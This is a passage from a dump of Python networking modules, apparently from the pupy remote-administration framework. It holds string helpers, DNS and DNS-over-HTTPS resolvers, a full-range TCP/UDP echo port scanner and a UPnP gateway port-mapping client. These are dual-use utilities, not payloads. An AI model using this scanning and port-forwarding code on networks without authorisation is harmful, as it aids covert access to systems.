as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):\n        if isinstance(value, str):\n            return value\n\n        elif isinstance(value, bytes):\n            try:\n                return value.decode(encoding)\n            except UnicodeDecodeError:\n                if fail is True:\n                    raise\n                else:\n                    return value\n\n        elif fail == 'convert':\n            if value is None:\n                return ''\n            else:\n                return str(value)\n\n        elif not fail:\n            return value\n\n        raise TypeError(\n            'Invalid value type {}: {}'.format(\n                repr(value), type(value)\n            )\n        )\n\n    def as_unicode_string_deep(value, encoding=DEFAULT_MB_ENCODING, fail=True):\n        if isinstance(value, (bytes, str)):\n            return as_unicode_string(value, encoding, fail)\n\n        elif isinstance(value, dict):\n            vtype = type(value)\n            return vtype(\n                (\n                    as_unicode_string_deep(key, encoding, fail),\n                    as_unicode_string_deep(value, encoding, fail)\n                ) for key, value in value.items()\n            )\n\n        elif isinstance(value, (list, tuple, set, frozenset)):\n            vtype = type(value)\n            items = (\n                as_unicode_string_deep(item, encoding, fail) for item in value\n            )\n\n            if hasattr(vtype, '_fields'):\n                return vtype(*tuple(items))\n            else:\n                return vtype(items)\n\n        elif fail == 'convert':\n            if value is None:\n                return ''\n            else:\n                return str(value)\n\n        return value\n\n    def as_escaped_string(value, fail=True):\n        if isinstance(value, bytes):\n            value = try_as_unicode_string(value, fail)\n\n        if isinstance(value, bytes):\n            # Fail = false, conv failed\n            return value\n        elif isinstance(value, str):\n            return value.encode('unicode-escape')\n        elif fail == 'convert':\n            if value is None:\n                return ''\n            else:\n                return str(value).encode('unicode-escape')\n        elif fail:\n            raise TypeError(type(value))\n        else:\n            return value\n\n    def filter_strings(values):\n        for value in values:\n            if isinstance(value, str):\n                yield value\n\nelse:\n    import ushlex as shlex\n\n    def reprb(value):\n        return 'b' + repr(value)\n\n    def as_native_string(\n        value, fail=True, encoding=DEFAULT_MB_ENCODING,\n            internal_encoding=DEFAULT_MB_ENCODING):\n\n        if isinstance(value, str):\n            if encoding == internal_encoding:\n                return value\n\n            try:\n                return value.decode(encoding).encode(internal_encoding)\n            except UnicodeError:\n                if not fail:\n                    return value\n                else:\n                    raise\n\n        elif isinstance(value, unicode):\n            return value.encode(internal_encoding)\n\n        elif fail == 'convert':\n            if value is None:\n                return str('')\n            else:\n                return str(value)\n\n        elif not fail:\n            return value\n\n        raise TypeError(\n            'Invalid value type {}: {}'.format(\n                repr(value), type(value)\n            )\n        )\n\n    def as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):\n        if isinstance(value, unicode):\n            return value\n\n        elif isinstance(value, bytes):\n            try:\n                return value.decode(encoding)\n            except UnicodeDecodeError:\n                if fail:\n                    raise\n                else:\n                    return value\n\n        elif fail == 'convert':\n            if value is None:\n                return unicode('')\n            else:\n                return unicode(value)\n\n        elif not fail:\n            return value\n\n        raise TypeError(\n            'Invalid value type {}: {}'.format(\n                repr(value), type(value)\n            )\n        )\n\n    def as_unicode_string_deep(\n            value, encoding=DEFAULT_MB_ENCODING, fail=True):\n        if isinstance(value, (bytes, unicode)):\n            return as_unicode_string(value, encoding, fail)\n\n        elif isinstance(value, dict):\n            vtype = type(value)\n            return vtype(\n                (\n                    as_unicode_string_deep(key, encoding, fail),\n                    as_unicode_string_deep(value, encoding, fail)\n                ) for key, value in value.items()\n            )\n\n        elif isinstance(value, (list, tuple, set, frozenset)):\n            vtype = type(value)\n            items = (\n                as_unicode_string_deep(item, encoding, fail) for item in value\n            )\n\n            if hasattr(vtype, '_fields'):\n                return vtype(*tuple(items))\n            else:\n                return vtype(items)\n\n        elif fail == 'convert':\n            if value is None:\n                return ''\n            else:\n                return unicode(value)\n\n        return value\n\n    def as_escaped_string(value, fail=True):\n        if isinstance(value, bytes):\n            value = try_as_unicode_string(value, fail)\n\n        if isinstance(value, bytes):\n            # Fail = false, conv failed\n            return value\n        elif isinstance(value, unicode):\n            return value.encode('unicode-escape')\n        elif fail == 'convert':\n            if value is None:\n                return str('')\n            else:\n                return str(value).encode('string-escape')\n        elif fail:\n            raise TypeError(type(value))\n        else:\n            return value\n\n    def filter_strings(values):\n        for value in values:\n            if isinstance(value, basestring):\n                yield value\n\n\nclass ExtendedJsonEncoder(json.JSONEncoder):\n    def default(self, obj):\n        if isinstance(obj, bytes):\n            return 'hex:' + codecs.encode(obj, 'hex').decode('ascii')\n        else:\n            return super(ExtendedJsonEncoder, self).default(obj)\n\n\nclass ExtendedJsonDecoder(json.JSONDecoder):\n    def __init__(self, *args, **kwargs):\n        json.JSONDecoder.__init__(\n            self, object_hook=self._hook, *args, **kwargs\n        )\n\n    def _hook(self, obj):\n        if not isinstance(obj, str):\n            return obj\n\n        if obj.startswith('hex:'):\n            return codecs.decode(obj[4:], 'hex')\n\n\ndef fs_as_unicode_string(value, fail=True):\n    return as_unicode_string(\n        value,\n        encoding=getfilesystemencoding(),\n        fail=fail\n    )\n\n\ndef fs_as_unicode_string_deep(value):\n    return as_unicode_string_deep(\n        value,\n        encoding=getfilesystemencoding()\n    )\n\n\ndef fs_as_native_string(value):\n    return as_native_string(\n        value,\n        encoding=getfilesystemencoding()\n    )\n\n\ndef try_as_native_string(value, fail=True):\n    for encoding in TRY_ENCODINGS:\n        try:\n            return as_native_string(\n                value, fail=True, encoding=encoding\n            )\n        except UnicodeError:\n            pass\n\n    if fail:\n        raise UnicodeError('Unknown encoding')\n\n    return value\n\n\ndef try_as_unicode_string(value, fail=True):\n    for encoding in TRY_ENCODINGS:\n        try:\n            return as_unicode_string(\n                value, fail=fail, encoding=encoding\n            )\n        except UnicodeError:\n            pass\n\n    if fail:\n        raise UnicodeError('Unknown encoding')\n\n    return value\n\n\ndef fix_exception_encoding(exc):\n    exc.args = tuple(\n        try_as_native_string(arg, fail=False) for arg in exc.args\n    )\n\n    if hasattr(exc, 'message'):\n        exc.message = try_as_native_string(exc.message, fail=False)\n\n    return exc\n\n\ndef is_binary(text):\n    if isinstance(text, bytes):\n        for byte in text:\n            if byte not in textchars:\n                return True\n\n        return False\n    else:\n        for char in text:\n            if char in '\\r\\n\\t':\n                continue\n\n            if unicodedata.category(char) == 'Cc':\n                return True\n\n        return False\n"
  },
  {
    "path": "pupy/network/lib/dnsinfo.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Stolen from dns.resolver\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('dnsinfo',)\n\nimport sys\nfrom io import open\n\n\ndef _parse_resolv_conf(path='/etc/resolv.conf'):\n    nameservers = []\n    domains = []\n    searches = []\n\n    with open(path) as fobj:\n        for line in fobj:\n            if '#' in line:\n                line, _ = line.split('#', 1)\n\n            line = line.strip()\n            if not line:\n                continue\n\n            parts = line.split()\n            if len(parts) < 2:\n                continue\n\n            parts = tuple(\n                part.strip() for part in parts\n            )\n\n            option = parts[0]\n\n            if option == 'nameserver':\n                nameserver = parts[1]\n                if nameserver in nameservers:\n                    continue\n                nameservers.append(nameserver)\n\n            elif option == 'domain':\n                domain = parts[1]\n                if domain in domains:\n                    continue\n                domains.append(domain)\n\n            elif option == 'search':\n                for search in parts[1:]:\n                    if search in domains:\n                        continue\n                    elif search in searches:\n                        continue\n\n                    searches.append(search)\n\n    searches = [\n        suffix for suffix in searches if suffix not in domains\n    ]\n\n    domains.extend(searches)\n\n    return nameservers, domains\n\n\ndef _determine_split_char(entry):\n    if entry.find(' ') >= 0:\n        split_char = ' '\n    elif entry.find(',') >= 0:\n        split_char = ','\n    else:\n        # probably a singleton; treat as a space-separated list.\n        split_char = ' '\n    return split_char\n\n\ndef _config_win32_nameservers(nameservers):\n    split_char = _determine_split_char(nameservers)\n\n    return list(set(\n        nameserver.strip() for nameserver in nameservers.split(split_char)\n    ))\n\n\ndef _config_win32_search(searches):\n    split_char = _determine_split_char(searches)\n\n    return list(set(\n        search.strip() for search in searches.split(split_char)\n    ))\n\n\ndef _config_win32_fromkey(_winreg, key):\n    domains = []\n    searches = []\n    servers = []\n\n    try:\n        win_servers, rtype = _winreg.QueryValueEx(key, 'NameServer')\n    except WindowsError:  # pylint: disable=undefined-variable\n        win_servers = None\n\n    if win_servers:\n        servers.extend(_config_win32_nameservers(win_servers))\n\n    try:\n        win_domain, rtype = _winreg.QueryValueEx(key, 'Domain')\n        if win_domain:\n            domains.append(win_domain)\n    except WindowsError:  # pylint: disable=undefined-variable\n        pass\n\n    try:\n        win_servers, rtype = _winreg.QueryValueEx(key, 'DhcpNameServer')\n    except WindowsError:  # pylint: disable=undefined-variable\n        win_servers = None\n\n    if win_servers:\n        for server in _config_win32_nameservers(win_servers):\n            if server not in servers:\n                servers.append(server)\n\n    try:\n        win_domain, rtype = _winreg.QueryValueEx(key, 'DhcpDomain')\n        if win_domain and win_domain not in domains:\n            domains.append(win_domain)\n    except WindowsError:  # pylint: disable=undefined-variable\n        pass\n\n    try:\n        win_search, rtype = _winreg.QueryValueEx(key, 'SearchList')\n    except WindowsError:  # pylint: disable=undefined-variable\n        win_search = None\n\n    if win_search:\n        for search in win_search:\n            if search not in domains and search not in searches:\n                searches.append(search)\n\n    return servers, domains, searches\n\n\ndef _win32_is_nic_enabled(_winreg, lm, guid, interface_key):\n    # Look in the Windows Registry to determine whether the network\n    # interface corresponding to the given guid is enabled.\n    #\n    # (Code contributed by Paul Marks, thanks!)\n    #\n    try:\n        # This hard-coded location seems to be consistent, at least\n        # from Windows 2000 through Vista.\n        connection_key = _winreg.OpenKey(\n            lm,\n            r'SYSTEM\\CurrentControlSet\\Control\\Network'\n            r'\\{4D36E972-E325-11CE-BFC1-08002BE10318}'\n            r'\\%s\\Connection' % guid)\n\n        try:\n            # The PnpInstanceID points to a key inside Enum\n            (pnp_id, ttype) = _winreg.QueryValueEx(\n                connection_key, 'PnpInstanceID')\n\n            if ttype != _winreg.REG_SZ:\n                raise ValueError\n\n            device_key = _winreg.OpenKey(\n                lm, r'SYSTEM\\CurrentControlSet\\Enum\\%s' % pnp_id)\n\n            try:\n                # Get ConfigFlags for this device\n                (flags, ttype) = _winreg.QueryValueEx(\n                    device_key, 'ConfigFlags')\n\n                if ttype != _winreg.REG_DWORD:\n                    raise ValueError\n\n                # Based on experimentation, bit 0x1 indicates that the\n                # device is disabled.\n                return not flags & 0x1\n\n            finally:\n                device_key.Close()\n        finally:\n            connection_key.Close()\n    except (EnvironmentError, ValueError):\n        # Pre-vista, enabled interfaces seem to have a non-empty\n        # NTEContextList; this was how dnspython detected enabled\n        # nics before the code above was contributed.  We've retained\n        # the old method since we don't know if the code above works\n        # on Windows 95/98/ME.\n        try:\n            (nte, ttype) = _winreg.QueryValueEx(interface_key,\n                                                'NTEContextList')\n            return nte is not None\n        except WindowsError:  # pylint: disable=undefined-variable\n            return False\n\n\ndef _parse_registry():\n    \"\"\"Extract resolver configuration from the Windows registry.\"\"\"\n    _winreg = __import__('_winreg')\n\n    lm = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)\n    want_scan = False\n\n    servers = []\n    domains = []\n    searches = []\n\n    try:\n        try:\n            # XP, 2000\n            tcp_params = _winreg.OpenKey(lm,\n                                            r'SYSTEM\\CurrentControlSet'\n                                            r'\\Services\\Tcpip\\Parameters')\n            want_scan = True\n        except EnvironmentError:\n            # ME\n            tcp_params = _winreg.OpenKey(lm,\n                                            r'SYSTEM\\CurrentControlSet'\n                                            r'\\Services\\VxD\\MSTCP')\n        try:\n            c_servers, c_domains, c_searches = _config_win32_fromkey(\n                _winreg, tcp_params)\n\n            for server in c_servers:\n                if server not in servers:\n                    servers.append(server)\n\n            for domain in c_domains:\n                if domain not in domains:\n                    domains.append(domain)\n\n            searches.extend(c_searches)\n\n        finally:\n            tcp_params.Close()\n\n        if want_scan:\n            interfaces = _winreg.OpenKey(lm,\n                                            r'SYSTEM\\CurrentControlSet'\n                                            r'\\Services\\Tcpip\\Parameters'\n                                            r'\\Interfaces')\n            try:\n                i = 0\n                while True:\n                    try:\n                        guid = _winreg.EnumKey(interfaces, i)\n                        i += 1\n                        key = _winreg.OpenKey(interfaces, guid)\n                        if not _win32_is_nic_enabled(_winreg, lm, guid, key):\n                            continue\n                        try:\n                            c_servers, c_domains, c_searches = _config_win32_fromkey(\n                                _winreg, key)\n\n                            for server in c_servers:\n                                if server not in servers:\n                                    servers.append(server)\n\n                            for domain in c_domains:\n                                if domain not in domains:\n                                    domains.append(domain)\n\n                            searches.extend(c_searches)\n                        finally:\n                            key.Close()\n                    except EnvironmentError:\n                        break\n            finally:\n                interfaces.Close()\n    finally:\n        lm.Close()\n\n    searches = [\n        search for search in searches\n        if search not in searches and search not in domains\n    ]\n\n    domains.extend(searches)\n    return servers, domains\n\n\ndef dnsinfo():\n    if sys.platform == 'win32':\n        return _parse_registry()\n    else:\n        return _parse_resolv_conf()\n"
  },
  {
    "path": "pupy/network/lib/doh.py",
    "content": "#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'InvalidHostName', 'SecureDNS', 'A', 'AAAA',\n    'GOOGLE', 'CLOUDFLARE', 'QUAD9', 'QUAD9_IP'\n)\n\nfrom json import loads\n\nfrom . import tinyhttp\nimport socket\n\n\n# Resource Record Types\nA = 1\nAAAA = 28\n\n# DNS status codes\nNOERROR = 0\n\nUNRESERVED_CHARS = \\\n    'abcdefghijklmnopqrstuvwxyz' \\\n    'ABCDEFGHIJKLMNOPQRSTUVWXYZ' \\\n    '0123456789-._~'\n\n\n# Providers\nGOOGLE = 'https://dns.google.com/resolve'\nCLOUDFLARE = 'https://cloudflare-dns.com/dns-query'\n# Unstable\nQUAD9 = 'https://dns.quad9.net:5053/dns-query'\nQUAD9_IP = 'https://9.9.9.9:5053/dns-query'\n\nNEXTDNS_1 = 'https://dns1.nextdns.io/dns-query'\nNEXTDNS_2 = 'https://dns2.nextdns.io/dns-query'\n# Down\n# CZNIC = 'https://odvr.nic.cz/doh'\n\nPROVIDERS = (\n    GOOGLE, CLOUDFLARE, QUAD9_IP, QUAD9,\n    NEXTDNS_1, NEXTDNS_2\n)\n\n\nclass InvalidHostName(Exception):\n    pass\n\n\nclass SecureDNS(object):\n    __slots__ = ('client', 'url', 'cd')\n\n    '''Resolve domains using Google's Public DNS-over-HTTPS API'''\n\n    @staticmethod\n    def available(hostname, ipv6, *expected_ips):\n        qtype = AAAA if ipv6 else A\n\n        for provider in PROVIDERS:\n            dns = SecureDNS(provider)\n            try:\n                resolved = dns.resolve(hostname, qtype)\n                if not resolved:\n                    continue\n\n            except (IOError, OSError, socket.error):\n                continue\n\n            if not expected_ips:\n                return dns\n\n            if set(expected_ips) == set(resolved):\n                return dns\n\n    def __init__(self, url=GOOGLE, validation=False):\n        self.client = tinyhttp.HTTP()\n        self.url = url\n        # Validation enabled\n        self.cd = 0 if bool(validation) else 1\n\n    def resolve(self, hostname, query_type=A):\n        '''return ip address(es) of hostname'''\n\n        payload, code = self.client.get(\n            self.url, code=True,\n            headers={\n                'Accept': 'application/dns-json'\n            },\n            params={\n                'cd': self.cd,\n                'type': query_type,\n                'name': self._prepare_hostname(hostname),\n            },\n        )\n\n        if code != 200:\n            return None\n\n        response = loads(payload)\n\n        if response['Status'] == NOERROR:\n            answers = []\n            for answer in response['Answer']:\n                name, response_type, ttl, data = \\\n                    map(answer.get, ('name', 'type', 'ttl', 'data'))\n                if response_type in (A, AAAA):\n                    answers.append(str(data))\n\n            if answers == []:\n                return None\n\n            return answers\n\n    def _prepare_hostname(self, hostname):\n        '''verify the hostname is well-formed'''\n        hostname = hostname.rstrip('.')  # strip trailing dot if present\n\n        if not(1 <= len(hostname) <= 253):  # test length of hostname\n            raise InvalidHostName()\n\n        for label in hostname.split('.'):  # test length of each label\n            if not(1 <= len(label) <= 63):\n                raise InvalidHostName()\n        try:\n            return hostname.encode('ascii')\n\n        except UnicodeEncodeError:\n            raise InvalidHostName()\n\n    def __repr__(self):\n        return 'SecureDNS({}, {})'.format(\n            repr(self.url), bool(self.cd)\n        )\n"
  },
  {
    "path": "pupy/network/lib/echo.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'Echo', 'echo'\n)\n\nimport sys\n\nfrom random import choice, shuffle\nfrom time import time\nfrom socket import socket, SOCK_DGRAM, AF_INET\nfrom select import select\nfrom string import letters\nfrom threading import Thread, Lock, Event\nfrom netaddr import IPAddress\nfrom urllib2 import (\n    OpenerDirector, HTTPHandler, Request\n)\n\nfrom pupy.network.lib.scan import scan, TOP1000\nfrom pupy.network.lib.tinyhttp import NullHandler\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\nMAGIC = b'\\xDE\\xAD\\xBE\\xEF'\nUSER_AGENT = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'\n\n\nclass EchoScanHTTP(object):\n    __slots__ = (\n        'available',\n\n        '_timeout',\n        '_check_again', '_table', '_opener', '_lock'\n    )\n\n    def __init__(self, timeout=10):\n        self.available = set()\n\n        self._table = {}\n        self._lock = Lock()\n\n        self._timeout = timeout\n\n        self._opener = OpenerDirector()\n        self._opener.handlers = []\n        self._opener.add_handler(NullHandler(self._table, self._lock))\n        self._opener.add_handler(HTTPHandler())\n\n    def _add_table(self, key, sock):\n        with self._lock:\n            self._table[key] = sock\n            sock.setblocking(1)\n            sock.settimeout(self._timeout)\n\n    def _del_table(self, key):\n        with self._lock:\n            del self._table[key]\n\n    def on_open_port(self, info):\n        host, port, sock = info\n        key = '{}:{}'.format(host, port)\n        try:\n            self._add_table(key, sock)\n\n            request = Request(\n                'http://{}:{}/?echo=%DE%AD%BE%EF'.format(host, port),\n                headers={\n                    'Host': key,\n                    'User-Agent': USER_AGENT,\n                })\n\n            response = self._opener.open(\n                request, timeout=self._timeout\n            )\n            data = response.read()\n\n            if data.startswith('GET /?echo=%DE%AD%BE%EF'):\n                self.available.add(port)\n\n        finally:\n            sock.close()\n            self._del_table(key)\n\n\nclass EchoScanTcp(object):\n    __slots__ = (\n        'available', 'timeout'\n    )\n\n    def __init__(self, timeout=10):\n        self.timeout = timeout\n        self.available = set()\n\n    def on_open_port(self, info):\n        host, port, sock = info\n        try:\n            sock.setblocking(1)\n            sock.settimeout(self.timeout)\n\n            payload = MAGIC + b''.join(\n                choice(letters) for i in xrange(64))\n\n            sock.send(payload)\n            response = sock.recv(len(payload))\n\n            if response == payload:\n                self.available.add(port)\n\n        finally:\n            sock.close()\n\n\ndef udp(host, timeout=10, amount=10, abort=None):\n    connectable_udp = set()\n\n    top_ports = range(20000, 65535)\n    low_ports = range(1, 20000)\n\n    shuffle(top_ports)\n    shuffle(low_ports)\n\n    ports = iter(top_ports + low_ports)\n    more = True\n\n    datas = {}\n\n    while (more or datas) and (not abort or not abort.is_set()):\n        while more and len(datas) < 32:\n            try:\n                port = next(ports)\n            except StopIteration:\n                more = False\n                break\n\n            s = socket(AF_INET, SOCK_DGRAM)\n            s.connect((host, port))\n\n            payload = MAGIC + ''.join(\n                choice(letters) for i in xrange(64))\n\n            datas[s] = (port, payload, time())\n            try:\n                s.send(payload)\n            except (OSError, IOError):\n                del datas[s]\n\n        r, _, _ = select(list(datas), [], [], timeout)\n        for sock in r:\n            port, inital_payload, _ = datas[sock]\n            try:\n                payload = sock.recv(len(inital_payload))\n                if payload == inital_payload:\n                    connectable_udp.add(port)\n\n            except (IOError, OSError):\n                pass\n\n            finally:\n                del datas[sock]\n                sock.close()\n\n        to_cleanup = []\n        now = time()\n\n        for sock, (_, _, start) in datas.items():\n            if now - start > timeout:\n                to_cleanup.append(sock)\n\n        for sock in to_cleanup:\n            sock.close()\n            del datas[sock]\n\n        if len(connectable_udp) > amount:\n            break\n\n    return connectable_udp\n\n\ndef tcp(host, timeout=10, amount=10, abort=None):\n    http_context = EchoScanHTTP(timeout)\n    tcp_context = EchoScanTcp(timeout)\n\n    top_ports = list(TOP1000)\n    low_ports = list(x for x in xrange(1, 65535) if x not in top_ports)\n\n    shuffle(top_ports)\n    shuffle(low_ports)\n\n    ports = top_ports + low_ports\n\n    chunk = min(amount, 32)\n\n    while ports and len(http_context.available) < amount:\n        portion, ports = ports[:chunk], ports[chunk:]\n\n        portion = scan(\n            [host], portion,\n            abort=abort, timeout=timeout,\n            on_open_port=http_context.on_open_port,\n            pass_socket=True\n        )\n\n        conntable = (port for _, port in portion)\n\n        scan(\n            [host], conntable,\n            abort=abort, timeout=timeout,\n            on_open_port=tcp_context.on_open_port,\n            pass_socket=True\n        )\n\n    connectable_raw = tcp_context.available\n    connectable_http = set(\n        port for port in http_context.available\n        if port not in tcp_context.available\n    )\n\n    return connectable_raw, connectable_http\n\n\nclass Echo(Thread):\n    __slots__ = (\n        '_abort', 'tcp', 'http', 'udp',\n        'amount', 'host',\n\n        '_on_complete',\n    )\n\n    def __init__(self, host, amount=8, on_complete=None):\n        Thread.__init__(self)\n        self.daemon = True\n        self.host = IPAddress(host)\n        self.amount = amount\n        self._abort = Event()\n\n        self.tcp = None\n        self.http = None\n        self.udp = None\n\n        self._on_complete = on_complete\n\n    def abort(self):\n        self._abort.set()\n\n    def run(self):\n        self.tcp, self.http = tcp(\n            str(self.host),\n            amount=self.amount,\n            abort=self._abort\n        )\n\n        self.udp = udp(\n            str(self.host),\n            amount=self.amount,\n            abort=self._abort\n        )\n\n        if self._on_complete:\n            self._on_complete(\n                self.tcp, self.http, str(self.udp)\n            )\n\n\ndef echo(host, amount, on_complete):\n    echo = Echo(host, amount, on_complete)\n    echo.start()\n    return echo.abort\n"
  },
  {
    "path": "pupy/network/lib/igd.py",
    "content": "# -*- coding: utf-8 -*-\n# Original code from: https://github.com/hujun-open/pyigdc\n# Reworked by Oleskii Shevchuk (@alxchk)\n# License: MIT\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'UPNPError', 'IGDClient',\n)\n\nimport sys\nimport socket\n\nif sys.version_info.major > 2:\n    from urllib.request import urlopen, Request\n    from urllib.error import HTTPError\n    from urllib.parse import urlparse\nelse:\n    from urllib2 import HTTPError, Request, urlopen\n    from urlparse import urlparse\n\ntry:\n    from http_parser.parser import HttpParser\nexcept ImportError:\n    from http_parser.pyparser import HttpParser\n\nfrom xml.etree.ElementTree import fromstring\n\nimport netaddr\nimport logging\n\n\ndef str2bool(bstr):\n    return bool(int(bstr))\n\n\ndef getProtoId(proto_name):\n    if isinstance(proto_name, int):\n        if proto_name > 0 and proto_name <= 65535:\n            return proto_name\n\n    proto_name = 'IPPROTO_{}'.format(proto_name)\n    if not hasattr(socket, proto_name):\n        return False\n\n    return getattr(socket, proto_name)\n\n\nclass UPNPError(Exception):\n    def __init__(self, hcode, ucode, udes):\n        \"\"\"\n        hcode is the http error code\n        ucode is the upnp error code\n        udes is the upnp error description\n        \"\"\"\n        self.http_code = hcode\n        self.code = ucode\n        self.description = udes\n\n    def __str__(self):\n        return \"HTTP Error Code {hc}, UPnP Error Code {c}, {d}\"\\\n            .format(hc=self.http_code, c=self.code, d=self.description)\n\n\ndef get_location_url(sock):\n    try:\n        chunk, _ = sock.recvfrom(1024)\n    except socket.error:\n        return\n\n    response = HttpParser(kind=1)\n    response.execute(chunk, len(chunk))\n\n    if response.is_headers_complete():\n        headers = response.get_headers()\n\n        return headers.get('location')\n\n\n# sendSOAP is based on part of source code from miranda-upnp.\nclass IGDClient(object):\n    \"\"\"\n    UPnP IGD v1 Client class, supports all actions\n    \"\"\"\n\n    UPNPTYPEDICT = {\n        'NewAutoDisconnectTime': int,\n        'NewIdleDisconnectTime': int,\n        'NewWarnDisconnectDelay': int,\n        'NewPortMappingNumberOfEntries': int,\n        'NewLeaseDuration': int,\n        'NewExternalPort': int,\n        'NewInternalPort': int,\n        'NewRSIPAvailable': str2bool,\n        'NewNATEnabled': str2bool,\n        'NewEnabled': str2bool,\n        'FirewallEnabled': str2bool,\n        'InboundPinholeAllowed': str2bool,\n        'OutboundPinholeTimeout': int,\n        'UniqueID': int,\n        'PinholePackets': int,\n        'IsWorking': str2bool,\n    }\n\n    NS = {\n        'device': 'urn:schemas-upnp-org:device-1-0',\n        'control': 'urn:schemas-upnp-org:control-1-0',\n        'soap': 'http://schemas.xmlsoap.org/soap/envelope/',\n    }\n\n    __slots__ = (\n        'ctrlURL', 'debug', 'pprint', 'isv6', 'timeout', 'intIP',\n        'igdsvc', 'pr', 'bindIP'\n    )\n\n    def __init__(\n            self,\n            bindIP='0.0.0.0',\n            ctrlURL=None,\n            service=\"WANIPC\",\n            edebug=False,\n            pprint=False,\n            timeout=2.0,\n            available=True):\n        \"\"\"\n        - intIP is the source address of the request packet, which implies the source interface\n        - ctrlURL is the the control URL of IGD server, client will do discovery if it is None\n        \"\"\"\n\n        if not available:\n            self.ctrlURL = None\n            return\n\n        self.debug = edebug\n        self.pprint = pprint\n        self.isv6 = False\n        self.timeout = timeout\n        self.intIP = None\n\n        if ctrlURL:\n            self.ctrlURL = urlparse(ctrlURL)\n            self.bindIP = self._getOutgoingLocalAddress(self.ctrlURL.hostname)\n            self.intIP = self.bindIP\n            self.isv6  = self.bindIP.version == 6\n        else:\n            self.ctrlURL = None\n            self.bindIP = netaddr.IPAddress(bindIP)\n            self.isv6  = self.bindIP.version == 6\n\n            if self.isv6:\n                self.igdsvc = \"IP6FWCTL\"\n            else:\n                self.igdsvc = \"WANIPC\"\n\n            self.discovery()\n            self.discovery(st=b'upnp:rootdevice')\n\n        if self.available and not self.intIP:\n            self.intIP = self._getOutgoingLocalAddress()\n\n    @property\n    def available(self):\n        return self.ctrlURL is not None\n\n    def enableDebug(self, d=True):\n        \"\"\"\n        enable debug output\n        \"\"\"\n        self.debug = d\n\n    def enablePPrint(self, p=True):\n        \"\"\"\n        enable pretty print for XML output\n        \"\"\"\n        self.pprint = p\n\n    def _getOutgoingLocalAddress(self):\n        try:\n            ctrlurl = urlparse(self.ctrlURL)\n            remote_addr = netaddr.IPAddress(ctrlurl.hostname)\n            rcon = socket.socket(\n                socket.AF_INET if remote_addr.version == 4 else socket.AF_INET6,\n            )\n            rcon.connect((remote_addr.format(), ctrlurl.port or 1900))\n            return netaddr.IPAddress(rcon.getsockname()[0])\n\n        except:\n            self.available = False\n            return None\n\n    def _get1stTagText(self, xmls, tagname_list):\n        \"\"\"\n        return 1st tag's value in the xmls\n        \"\"\"\n        dom = fromstring(xmls)\n        r = {}\n        for tagn in tagname_list:\n            try:\n                txt_node = dom.find('.//{}'.format(tagn))\n                if txt_node is not None:\n                    if tagn in self.UPNPTYPEDICT:\n                        r[tagn] = self.UPNPTYPEDICT[tagn](txt_node.text)\n                    else:\n                        r[tagn] = txt_node.text\n                else:\n                    r[tagn] = None\n            except:\n                print(\"xml parse err: {tag} not found\".format(tag=tagn))\n\n        return r\n\n    def _parseErrMsg(self, err_resp):\n        \"\"\"\n        parse UPnP error message, err_resp is the returned XML in http body\n        reurn UPnP error code and error description\n        \"\"\"\n        dom = fromstring(err_resp)\n        err_code = dom.find('.//control:errorCode', self.NS)\n        err_desc = dom.find('.//control:errorDescription', self.NS)\n        return (err_code.text, err_desc.text)\n\n    def discovery(self, st=b'urn:schemas-upnp-org:device:InternetGatewayDevice:1'):\n        \"\"\"\n        Find IGD device and its control URL via UPnP multicast discovery\n        \"\"\"\n        logging.warning(\"Sending multicast traffic looking for IGD Devices / forwarding TCP port ...\")\n        if not self.isv6:\n            up_disc = b'\\r\\n'.join([\n                b'M-SEARCH * HTTP/1.1',\n                b'HOST:239.255.255.250:1900',\n                b'ST:' + st,\n                b'MX:2',\n                b'MAN:\"ssdp:discover\"'\n            ]) + b'\\r\\n' * 2\n\n            sock = socket.socket(\n                socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n            try:\n                sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 32)\n            except:\n                pass\n\n            sock.bind((self.bindIP.format(), 19110))\n            sock.sendto(up_disc, (b'239.255.255.250', 1900))\n\n        else:\n            if self.bindIP.is_link_local():\n                dst_ip = b'ff02::c'\n            else:\n                dst_ip = b'ff05::c'\n                up_disc = b'\\r\\n'.join([\n                    b'M-SEARCH * HTTP/1.1',\n                    b'HOST:[{dst}]:1900'.format(dst=dst_ip),\n                    b'ST:upnp:rootdevice',\n                    b'MX:2',\n                    b'MAN:\"ssdp:discover\"'\n                ]) + b'\\r\\n' * 2\n\n            sock = socket.socket(\n                socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n\n            if self.debug:\n                print(\"trying to bind to address:\", self.bindIP)\n\n            socketaddr = socket.getaddrinfo(\n                self.bindIP.format(), 19110)[-1:][0][-1:][0]\n            sock.bind(socketaddr)\n            sock.sendto(up_disc, (dst_ip, 1900))\n\n        if self.debug:\n            print(\"Discovery: ----- tx request -----\\n \" + up_disc)\n\n        sock.settimeout(self.timeout)\n        descURL = get_location_url(sock)\n        sock.close()\n\n        if self.debug:\n            print(\"Discovery: ----- Location -----\\n \" + descURL)\n\n        if not descURL:\n            return\n\n        try:\n            descXMLs = urlopen(descURL, None, self.timeout).read()\n        except:\n            return\n\n        self.pr = urlparse(descURL)\n        baseURL = self.pr.scheme + \"://\" + self.pr.netloc\n        dom = fromstring(descXMLs)\n\n        if self.igdsvc == \"WANIPC\":\n            svctype = 'urn:schemas-upnp-org:service:WANIPConnection'\n        else:\n            svctype = 'urn:schemas-upnp-org:service:WANIPv6FirewallControl'\n\n        for e in dom.findall('.//device:service', self.NS):\n            stn = e.find('device:serviceType', self.NS)\n            if stn is not None:\n                if stn.text[0:-2] == svctype:\n                    